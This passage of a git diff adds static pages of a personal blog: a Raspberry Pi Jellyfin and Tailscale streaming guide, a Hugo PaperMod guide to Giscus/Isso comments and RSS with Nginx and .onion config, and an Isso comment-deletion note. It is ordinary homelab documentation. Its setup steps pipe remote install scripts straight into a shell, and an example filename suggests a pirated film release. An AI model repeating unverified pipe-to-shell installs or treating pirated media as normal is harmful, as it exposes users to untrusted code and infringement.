    curl -fSLO https://blog.alipour.eu/sources/posts/blackout.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/blackout.md.asc
    +gpg --verify blackout.md.asc blackout.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/boredom/index.html b/public-clearnet/posts/boredom/index.html new file mode 100644 index 0000000..351335e --- /dev/null +++ b/public-clearnet/posts/boredom/index.html @@ -0,0 +1,64 @@ +Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 | AlipourIm journeys +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4

    A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later.

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    The idea

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    What you need

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    Step one: choose a home for your stuff

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    On the Pi, I created a little directory neighborhood under /srv:

    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    Step two: install Docker and start thinking in containers

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    A typical install flow on Raspberry Pi OS looks like this:

    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    Step three: Jellyfin, running happily in Docker

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    Here’s a simple docker-compose.yml that works well on a Pi:

    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    I started Jellyfin like this:

    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    Step four: Tailscale, the magic door for friends

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    Step five: create a Jellyfin user for your friend

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    Step six: the secret to a smooth Pi movie night is Direct Play

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    Step seven: SyncPlay, aka “we pressed play together”

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    Starting on microSD, graduating to SSD later

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    Where this goes next

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    Happy streaming.

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/comments-rss-papermod/index.html b/public-clearnet/posts/comments-rss-papermod/index.html new file mode 100644 index 0000000..5c05e37 --- /dev/null +++ b/public-clearnet/posts/comments-rss-papermod/index.html @@ -0,0 +1,395 @@ +New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) | AlipourIm journeys +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)

    A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod.

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.


    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    • I don’t want to get attacked by bots or random people for no reason.
    • I don’t want to allow weird things to happen.
    • I don’t want to have a database for it.

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    With the notice out of the way let’s dive right in!


    Why I chose Giscus (instead of Disqus)

    • No ads or trackers (my page weight thanks me).
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • Readers log in with GitHub (no mystery auth popups).
    • In theory you can directly go to the repo’s discussion section and comment there!

    What you need (for your site, not per user)

    • A Hugo site using PaperMod
    • A GitHub account ✅
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • Giscus app installed on that repo ✅

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.


    1) Turn on comments with Giscus

    PaperMod renders a comments.html partial when params.comments = true.
    So we enable it in config and create the partial.

    1.1 Enable comments globally

    hugo.toml (snippet)

    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    1.2 Create the comments partial

    Create this file in your site (not inside the theme):

    layouts/partials/comments.html

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • data-mapping="pathname" works great for static sites.
    • Prefer a public repo so visitors can read discussions without friction.
    • Want a different language? Change data-lang (e.g., de, fr).

    2) Enable RSS (home + sections)

    Hugo already knows how to generate feeds; we just tell it where.

    hugo.toml

    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    • Home feed: /index.xmlhttps://example.com/index.xml
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)

    If you’re using a .onion address or staging domain, just set that in baseURL.
    Locally, Hugo serves feeds at http://localhost:1313/index.xml.


    3) Show an RSS button on the home page

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    Option A — Use the home “social icons” row

    This appears if you enable Home-Info or Profile mode:

    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +

    Create:

    layouts/partials/extend_footer.html

    Paste:

    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    Create:

    assets/css/extended/rss.css

    Paste:

    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.


    4) Verify everything

    Build or run dev:

    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    1. Open any post locally.
    2. Scroll to the bottom — Giscus should appear.
    3. Try a reaction or comment (you’ll be prompted to sign in with GitHub).

    5) Per-post controls (handy later)

    Turn comments off for a single post:

    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    6) Troubleshooting (aka “what I bumped into”)

    • Home page has no RSS icon
      That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

    • Section feed 404
      Folder names are lowercase (content/posts/, not content/Posts/).
      The URL mirrors that: /posts/index.xml.

    • Giscus doesn’t create a discussion
      Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      Make sure Discussions is enabled and the Giscus app is installed for the repo.

    • Icon is comically large
      Keep the CSS above; 16–20px usually looks right.


    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.


    Final config snapshot (condensed)

    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    The story (why Isso + why I still keep Giscus)

    I wanted comments that:

    • allow anonymous replies (no GitHub account required),
    • are lightweight and self-hosted, and
    • can work on my Tor .onion mirror.

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    How I run it (high-level)

    • Site: Hugo + PaperMod
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    Hugo partial: switcher + embeds

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    Small CSS tweaks (one color across light/dark + spacing)

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    1. Theme correctness for Giscus.
      PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      • read localStorage.pref-theme first,
      • fall back to class/data-theme, then
      • fall back to OS preference.
        I also re-theme the Giscus iframe on every toggle via postMessage.
    2. Isso over Tor.
      On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

    3. UI polish.

      • Unified button/link color across themes,
      • ensured “edit”/“delete” aren’t touching,
      • kept the author/email/website inputs stacked, and
      • left Submit/Preview styled and grouped.

    Sanity check

    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.

    8) Final notes!

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    Admin note — Delete all Isso comments for a single post

    This note is for future me: how to remove every comment tied to one post in Isso.
    Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.


    TL;DR (host with SQLite)

    Replace the placeholders for DB and POST_URI first.

    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    If running Isso in Docker

    Open a shell in the container, then run the same steps:

    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    Notes & gotchas

    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for:
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads:
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
